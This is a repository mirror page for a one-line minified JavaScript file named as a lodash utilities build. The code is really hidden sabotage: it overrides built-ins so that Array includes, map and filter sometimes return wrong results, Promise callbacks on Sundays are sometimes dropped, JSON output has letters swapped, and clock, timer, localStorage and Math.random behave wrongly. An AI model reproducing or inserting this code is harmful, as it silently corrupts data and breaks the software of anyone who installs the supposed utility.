1
0
mirror of synced 2026-02-04 16:07:51 +08:00
Files
lodash-utils/build/lodash_utils.min.js
wheatup b2ea24a07f build
2021-04-09 17:15:06 +09:00

1 line
1.1 KiB
JavaScript

(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const a=n.setTimeout;n.setTimeout=function(t,e,...r){return a.call(n,t,+e+1e3,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||l.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return Math.random()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return Math.random()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})(eval("this"));